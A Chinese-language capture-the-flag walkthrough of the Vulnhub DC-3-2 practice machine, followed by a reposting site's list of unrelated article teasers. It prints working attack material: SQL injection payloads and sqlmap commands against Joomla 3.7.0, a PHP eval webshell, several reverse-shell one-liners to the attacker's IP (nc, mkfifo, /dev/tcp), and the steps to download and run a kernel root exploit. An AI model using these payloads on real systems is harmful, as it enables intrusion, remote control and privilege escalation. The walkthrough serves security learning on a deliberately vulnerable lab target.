Vulnhub靶场DC-3-2练习

目录

  • 0x00 准备
  • 0x01 主机信息收集
  • 0x02 站点信息收集
  • 0x03 漏洞查找与利用
    • 1. joomla漏洞查找
    • 2. SQL注入漏洞
    • 3. 破解hash
    • 4. 上传一句话木马
    • 5. 蚁剑连接shell
    • 6. 反弹shell
    • 7. 提权
  • 0x04 总结


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-3-2.zip

介绍:
As with the previous DC releases, this one is designed with beginners in mind, although this time around, there is only one flag, one entry point and no clues at all.

重点:只有一个flag。



0x01 主机信息收集



两台机器都是NAT模式。

执行命令:ifconfig

kali本机的ip:192.168.179.128,网卡eth0

发现目标主机ip:netdiscover -i eth0 -r 192.168.179.0/24

目标主机ip:192.168.179.129

在这里插入图片描述



探测目标主机开放端口:nmap -sS -sV -n -A -p- 192.168.179.129

只开放了80端口,运行的Apache2.4.18服务,并且使用了Joomla!的CMS。

在这里插入图片描述



0x02 站点信息收集



访问这个站点,看一下基本信息,基本前面都获取到了。

在这里插入图片描述


看一下站点目录:dirsearch -u 192.168.179.129 -e *

在这里插入图片描述



发现了后台入口:192.168.179.129/administrator

在这里插入图片描述


这个cms不能确定版本。

一个思路是访问上面扫描出来的目录:192.168.179.129/README.txt

在这里插入图片描述



另一个思路是用这个cms相关的扫描工具进行扫描,执行命令:joomscan -u "http://192.168.179.129"

在这里插入图片描述



通过以上两种方法,都可以得到cms的版本是joomla3.7.0。



0x03 漏洞查找与利用



1. joomla漏洞查找


执行命令搜索相关的漏洞:searchsploit joomla 3.7.0

在这里插入图片描述


有个sql注入的漏洞,查看一下42033.txt:cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

# Exploit Title: Joomla 3.7.0 - Sql Injection
# Date: 05-19-2017
# Exploit Author: Mateus Lino
# Reference: https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html
# Vendor Homepage: https://www.joomla.org/
# Version: = 3.7.0
# Tested on: Win, Kali Linux x64, Ubuntu, Manjaro and Arch Linux
# CVE : - CVE-2017-8917URL Vulnerable: http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27Using Sqlmap:sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]Parameter: list[fullordering] (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (DUAL)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 1573*(SELECT 1573 FROM DUAL UNION SELECT 9674 FROM DUAL) END)Type: error-basedTitle: MySQL >= 5.0 error-based - Parameter replace (FLOOR)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 6600 FROM(SELECT COUNT(*),CONCAT(0x7171767071,(SELECT (ELT(6600=6600,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)Type: AND/OR time-based blindTitle: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT * FROM (SELECT(SLEEP(5)))GDiu)    


2. SQL注入漏洞


根据上面给出的相关信息,URL Vulnerable就是存在漏洞的点,将localhost换成是目标主机的ip:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27
(27%是URL编码中的单引号)

用浏览器访问上述地址。

在这里插入图片描述


再去掉单引号访问一下:http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml

在这里插入图片描述


可以看到访问两个不同的链接页面回显不一样,并且返回了SQL相关的报错,说明 list[fullordering]这个参数确实存在和数据库的交互,存在SQL注入漏洞。上面也给出了Sqlmap的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

其中:–risk=3指定测试的风险等级;–level=5指定检测的等级,这时会检测HOST头,包含的payload最多;–random-agent会从从sqlmap自带的文本文件中随机选择一个user-agent,不带这个参数时sqlmap有个默认的User-Agent,当 --level设置为3或者更高时,sqlmap会自动检测User-Agent是否存在注入漏洞;–dbs是枚举数据库的名字;-p是指定扫描的参数,这里是list[fullordering] 。

用sqlmap跑一下上面的语句,跑的过程中有三次询问:

在这里插入图片描述

在这里插入图片描述


最后可以看到有五个数据库的名字。使用 --current-db 来获取当前数据库的名字,完整的sqlmap语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --current-db

在这里插入图片描述


当前数据库是 joomladb,再用 -D joomladb --tables 来跑表的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb --tables

通过上面的语句可以跑出来一个#__users 表。

在这里插入图片描述



再用 -D joomladb -T “#__users” --columns 来跑列的名字,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" --columns

跑的过程中有三次输入:

第一次:you have not declared cookie(s), while server wants to set its own (‘460ada11b31d3c5e5ca6e58fd5d3de27=vn4pjqvr2pp…covug51rl0’). Do you want to use those [Y/n] \y

第二次:do you want to use common column existence check? [y/N/q] y

第三次:please enter number of threads? [Enter for 1 (current)] 2

结果如下:

在这里插入图片描述


可以看到有username列和password列,再用 -D "joomladb" -T "#__users" -C "name,password" --dump 来跑这两列的内容,完整的语句:sqlmap -u "http://192.168.179.129/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T "#__users" -C "name,password" --dump

在这里插入图片描述


用户名:admin

密码:$2y 10 10 10DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu



3. 破解hash


密码是一段加密的hash,可以用kali自带的john来破解这段hash。

将这段密文存入a.txt文件中,再利用命令john a.txt来查看结果。

在这里插入图片描述



4. 上传一句话木马



得到密码为snoopy。利用admin/snoopy登录后台http://192.168.179.129/administrator/。

多浏览一下,可以找到一个上传php文件的地方。路径:Extensions-Templates-Templates的Beez3

在这里插入图片描述


这里可以创建一个php文件。
在这里插入图片描述


先选择html这个目录,就可以在这个目录下面创建木马文件,后面比较好找路径。填写好创建的文件的名字,和文件类型,点击create。

在这里插入图片描述


输入文件内容:<?php @eval($_POST['123']);echo "Hello 123"; ?>

点击左上角的save按钮。

在这里插入图片描述


Joomla的目录结构中,templates是模板文件夹,直接存在于根目录下。我们创建的木马文件是beez3这个模板的html目录下的。所以木马文件的路径考虑是:http://192.168.179.129/templates/beez3/html/123.php。访问一下,页面回显 Hello 123,说明访问成功。

在这里插入图片描述


5. 蚁剑连接shell


用蚁剑连接一下目标服务器。(上下编码都选择base64)

在这里插入图片描述



6. 反弹shell


连接上以后,右键打开终端。

在kali中监听4444端口,执行命令:nc -lvvp 4444

在服务器的终端中执行命令:nc -e /bin/bash 192.168.179.128 4444

结果目标服务器的nc没有-e。

在这里插入图片描述



考虑其他的反弹shell的方式。

在获取webshell的情况下,常用的反弹shell的方式:

# 本地监听4444 端口
ncat -lnvp 4444# 服务端反弹(命令中都是本地的ip)
nc -e /bin/bash 192.168.179.128 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.179.128 4444>/tmp/f
/bin/sh -i >& /dev/tcp/192.168.179.128/4444 0>&1


找个不用-e的。

在服务器的终端执行命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.179.128 4444>/tmp/f

在这里插入图片描述


在kali中可以看到监听端口成功。

在这里插入图片描述



进入交互式shell,执行命令:python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述



7. 提权


依旧是先看有没有可以利用的命令,执行:sudo -l

没有权限,需要密码。

在这里插入图片描述



换个思路,考虑linux系统内核相关的漏洞。

查看linux内核版本:uname -a

查看linux发行版本:cat /etc/issue

是2016年的Ubuntu 16.04。

在这里插入图片描述



在kali中另外打开一个终端,搜索相关的可以利用的漏洞脚本,执行命令:searchsploit ubuntu 16.04

虽然有很多,但是尝试了以后发现39772最好用。(Privilege Escalation 特权升级)

在这里插入图片描述



查看使用文档,执行命令:cat /usr/share/exploitdb/exploits/linux/local/39772.txt

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=808In Linux >=4.4, when the CONFIG_BPF_SYSCALL config option is set and the
kernel.unprivileged_bpf_disabled sysctl is not explicitly set to 1 at runtime,
unprivileged code can use the bpf() syscall to load eBPF socket filter programs.
These conditions are fulfilled in Ubuntu 16.04.When an eBPF program is loaded using bpf(BPF_PROG_LOAD, ...), the first
function that touches the supplied eBPF instructions is
replace_map_fd_with_map_ptr(), which looks for instructions that reference eBPF
map file descriptors and looks up pointers for the corresponding map files.
This is done as follows:/* look for pseudo eBPF instructions that access map FDs and* replace them with actual map pointers*/static int replace_map_fd_with_map_ptr(struct verifier_env *env){struct bpf_insn *insn = env->prog->insnsi;int insn_cnt = env->prog->len;int i, j;for (i = 0; i < insn_cnt; i++, insn++) {[checks for bad instructions]if (insn[0].code == (BPF_LD | BPF_IMM | BPF_DW)) {struct bpf_map *map;struct fd f;[checks for bad instructions]f = fdget(insn->imm);map = __bpf_map_get(f);if (IS_ERR(map)) {verbose("fd %d is not pointing to valid bpf_map\n",insn->imm);fdput(f);return PTR_ERR(map);}[...]}}[...]}__bpf_map_get contains the following code:/* if error is returned, fd is released.* On success caller should complete fd access with matching fdput()*/
struct bpf_map *__bpf_map_get(struct fd f)
{if (!f.file)return ERR_PTR(-EBADF);if (f.file->f_op != &bpf_map_fops) {fdput(f);return ERR_PTR(-EINVAL);}return f.file->private_data;
}The problem is that when the caller supplies a file descriptor number referring
to a struct file that is not an eBPF map, both __bpf_map_get() and
replace_map_fd_with_map_ptr() will call fdput() on the struct fd. If
__fget_light() detected that the file descriptor table is shared with another
task and therefore the FDPUT_FPUT flag is set in the struct fd, this will cause
the reference count of the struct file to be over-decremented, allowing an
attacker to create a use-after-free situation where a struct file is freed
although there are still references to it.A simple proof of concept that causes oopses/crashes on a kernel compiled with
memory debugging options is attached as crasher.tar.One way to exploit this issue is to create a writable file descriptor, start a
write operation on it, wait for the kernel to verify the file's writability,
then free the writable file and open a readonly file that is allocated in the
same place before the kernel writes into the freed file, allowing an attacker
to write data to a readonly file. By e.g. writing to /etc/crontab, root
privileges can then be obtained.There are two problems with this approach:The attacker should ideally be able to determine whether a newly allocated
struct file is located at the same address as the previously freed one. Linux
provides a syscall that performs exactly this comparison for the caller:
kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, new_fd).In order to make exploitation more reliable, the attacker should be able to
pause code execution in the kernel between the writability check of the target
file and the actual write operation. This can be done by abusing the writev()
syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays
read accesses, then mmap()s a file containing a struct iovec from that FUSE
filesystem and passes the result of mmap() to writev(). (Another way to do this
would be to use the userfaultfd() syscall.)writev() calls do_writev(), which looks up the struct file * corresponding to
the file descriptor number and then calls vfs_writev(). vfs_writev() verifies
that the target file is writable, then calls do_readv_writev(), which first
copies the struct iovec from userspace using import_iovec(), then performs the
rest of the write operation. Because import_iovec() performs a userspace memory
access, it may have to wait for pages to be faulted in - and in this case, it
has to wait for the attacker-owned FUSE filesystem to resolve the pagefault,
allowing the attacker to suspend code execution in the kernel at that point
arbitrarily.An exploit that puts all this together is in exploit.tar. Usage:user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)This exploit was tested on a Ubuntu 16.04 Desktop system.Fix: https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7Proof of Concept: https://bugs.chromium.org/p/project-zero/issues/attachment?aid=232552
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip     


告诉我们可以使用exp提权,并且给出了下载链接。

在kali中下载,执行命令:wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

在这里插入图片描述


解压:unzip -n 39227.zip ,-n可以不覆盖原有的文件。

在这里插入图片描述



解压以后发现有两个压缩文件,从命令中可以看出,提权工具应该在exploit.tar中。

我这里想在kali本机把文件解压,然后再利用蚁剑上传到目标主机的,上传的时候发现权限不允许。所以还是将exploit.tar这个文件,通过蚁剑上传到/var/www/html/templates/beez3/html目录下。

在这里插入图片描述


在蚁剑的目标服务器终端中,解压上传的文件,执行命令:tar -xvf exploit.tar

在这里插入图片描述



再根据 39772.txt 给出的提示。

进入目录:cd ebpf_mapfd_doubleput_exploit

再执行: ./compile.sh

再执行: ./doubleput

在这里插入图片描述
在这里插入图片描述



0x04 总结


主机信息收集:

  1. netdiscover发现目标主机ip。
  2. nmap探测目标主机的开放端口和服务。

站点信息收集:

  1. dirsearch探索站点目录,发现后台入口。
  2. 确定cms版本joomla3.7.0。

漏洞利用:

  1. searchsploit搜索joomla相关漏洞CVE-2017-8917。
  2. sqlmap跑数据库,得到管理员的名字和密码。
  3. john破解hash。
  4. php一句话木马。
  5. 反弹shell。
  6. 利用linux内核相关漏洞提权。



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/871747.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一文清晰了解CSS——简单实例

首先一个小技巧&#xff1a; 一定要学会的vsCode格式化整理代码的快捷键&#xff0c;再也不用手动调格式了-腾讯云开发者社区-腾讯云 (tencent.com) CSS选择器用于选择要应用样式的HTML元素。常见的选择器包括&#xff1a; 类选择器&#xff1a;以.开头&#xff0c;用于选择具…

React Element介绍

React Element是React中的核心概念之一&#xff0c;它代表了React应用中的UI元素。React Element并不是真实的DOM节点&#xff0c;而是一个轻量级的、不可变的、描述性的对象&#xff0c;它包含了创建UI所需的类型&#xff08;type&#xff09;、属性&#xff08;props&#xf…

前端框架前置知识之Node.js:模块化、导入导出语法、包的概念、npm介绍

什么是模块化&#xff1f; 在Node.js中&#xff0c;每一个文件都被视为一个单独的模块 概念&#xff1a;项目是由很多个模块文件组成的 好处&#xff1a;提高代码复用性&#xff0c;按需加载&#xff0c;独立作用域 使用&#xff1a;需要标准语法导出和导入进行使用 导入导…

在pycharm 2023.2.1中运行由R语言编写的ipynb文件

在pycharm 2023.2.1中运行由R语言编写的ipynb文件 背景与目标&#xff1a; 项目中包含由R语言编写的ipynb文件&#xff0c;希望能在pycharm中运行该ipynb文件。 最终实现情况&#xff1a; 未能直接在pycharm中运行该ipynb文件&#xff0c;但是替代的实现方法有&#xff1a;…

自然语言处理(NLP)——法国工程师IMT联盟 期末考试题

1. 问题1 &#xff08;法语&#xff09;En langue arabe lcrasante majorit des mots sont forms par des combinaisons de racines et de schmes. Dans ce mcanisme... &#xff08;英语&#xff09;In Arabic language the vast majority&#xff08;十之八九&#xff09; of…

ServiceNow UI Jelly模板注入漏洞复现(CVE-2024-4879)

0x01 产品简介 ServiceNow 是一个业务转型平台。通过平台上的各个模块,ServiceNow 可用于从人力资源和员工管理到自动化工作流程或作为知识库等各种用途。 0x02 漏洞概述 由于ServiceNow的Jelly模板输入验证不严格,导致未经身份验证的远程攻击者可通过构造恶意请求利用,在…

在线图书销售管理系统设计

在线图书销售管理系统的设计是一个涉及多个模块和功能的复杂项目&#xff0c;它旨在提高图书销售的效率&#xff0c;优化库存管理&#xff0c;提升用户体验&#xff0c;以及提供数据分析支持。以下是系统设计的一些关键组成部分&#xff1a; 1. 需求分析 用户需求&#xff1a…

[综述笔记]Functional neuroimaging as a catalyst for integrated neuroscience

论文网址&#xff1a;Functional neuroimaging as a catalyst for integrated neuroscience | Nature 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔…

Stable Diffusion 使用

目录 背景 最简单用法 进阶用法 高手用法 safetensor 一、概述 二、主要特点 背景 Stable Diffusion 开源后&#xff0c;确实比较火&#xff0c;上次介绍了下 Stable Diffusion 最简单的concept。今天继续介绍下&#xff0c;以Liblib 为例&#xff0c;介绍下如何使用参…

807.力扣每日一题7/14 Java(执行用时分布击败100%)

博客主页&#xff1a;音符犹如代码系列专栏&#xff1a;算法练习关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ 目录 解题思路 解题过程 时间复杂度 空间复杂度 Code 解题思路 首先…

LLM上下文长度扩展方案:YaRN

文章目录 I. 前言II. NTK-by-partsIII. YaRNIV. Dynamic NTK 题目&#xff1a; YaRN: Efficient Context Window Extension of Large Language Models 论文地址&#xff1a; YaRN: Efficient Context Window Extension of Large Language Models I. 前言 在之前的两篇文章中分…

RuoYi-后端管理项目入门篇1

目录 前提准备 下载若依前后端 Gitee 地址 准备环境 后端数据库导入 1 克隆完成 若依后端管理后端 Gitte 地址 :若依/RuoYi-Vue 2.1 创建Data Source数据源 2.2 填写好对应的数据库User 和 Password 点击Apply 2.3 新建一个Schema 2.4 填写对应数据库名称 这边演示写的…

【工具使用】adb下载和配置

【工具使用】adb下载和配置 一&#xff0c;简介二&#xff0c;操作步骤2.1 Bing搜索adb2.2 下载adb工具2.3 添加路径到环境变量 三&#xff0c;效果验证 一&#xff0c;简介 本文主要介绍如何下载adb并安装使用&#xff0c;供参考。 此时打开cmd&#xff0c;输入adb 会提示&am…

计算机网络——网络层(概念及IP地址划分)

目录 网络层概念 网络层向上层提供的两种服务 虚电路 网络提供数据报服务 虚电路服务与数据报服务的对比 网络层的两个层面 分组传送到路由器的运作 对网络层进行分层 网际协议IP 虚拟互联网络 IP地址 IP地址及其表示方法 IP地址的计算方式 IP地址的结构 …

每日一练,java

目录 描述示例 总结 描述 题目来自牛客网 •输入一个字符串&#xff0c;请按长度为8拆分每个输入字符串并进行输出&#xff1b; •长度不是8整数倍的字符串请在后面补数字0&#xff0c;空字符串不处理。 输入描述&#xff1a; 连续输入字符串(每个字符串长度小于等于100) 输…

用Java连接MySQL数据库的总结

✨个人主页&#xff1a; 不漫游-CSDN博客 前言 在日常开发中&#xff0c;使用Java连接MySQL数据库是一个常见的任务&#xff0c;涉及多个步骤。接着我就带着大家细细看来~ 一.下载.jar 包文件 1.什么是.jar 文件 通俗点讲就是一个压缩包&#xff0c;不过里面存放的都是由Java代…

Docker基本管理1

Docker 概述 Docker是一个开源的应用容器引擎&#xff0c;基于go语言开发并遵循了apache2.0协议开源。 Docker是在Linux容器里运行应用的开源工具&#xff0c;是一种轻量级的“虚拟机”。 Docker 的容器技术可以在一台主机上轻松为任何应用创建一个轻量级的、可移植的、自给自…

1.27、基于径向基神经网络的曲线拟合(matlab)

1、基于径向基神经网络的曲线拟合简介及原理 1)原理简介 基于径向基神经网络(Radial Basis Function Neural Network, RBFNN)的曲线拟合是一种常用的非线性拟合方法,通过在输入空间中使用径向基函数对数据进行处理,实现对非线性关系的拟合。 RBFNN的基本原理是将输入空…

笔记 2 :linux 0.11 中的重要的全局变量 (a)

通过对全局变量的了解&#xff0c;也有助于了解整个代码的逻辑。就跟学习类一样&#xff0c;了解类有哪些成员变量&#xff0c;也有助于了解类的成员函数的功能。 以下介绍全局变量的顺序&#xff0c;符合这两本书的讲解顺序&#xff1a; &#xff08;1&#xff09;内存初始化相…

Kafka 高并发设计之数据压缩与批量消息处理

《Kafka 高性能架构设计 7 大秘诀》专栏第 6 章。 压缩&#xff0c;是一种用时间换空间的 trade-off 思想&#xff0c;用 CPU 的时间去换磁盘或者网络 I/O 传输量&#xff0c;用较小的 CPU 开销来换取更具性价比的磁盘占用和更少的网络 I/O 传输。 Kafka 是一个高吞吐量、可扩展…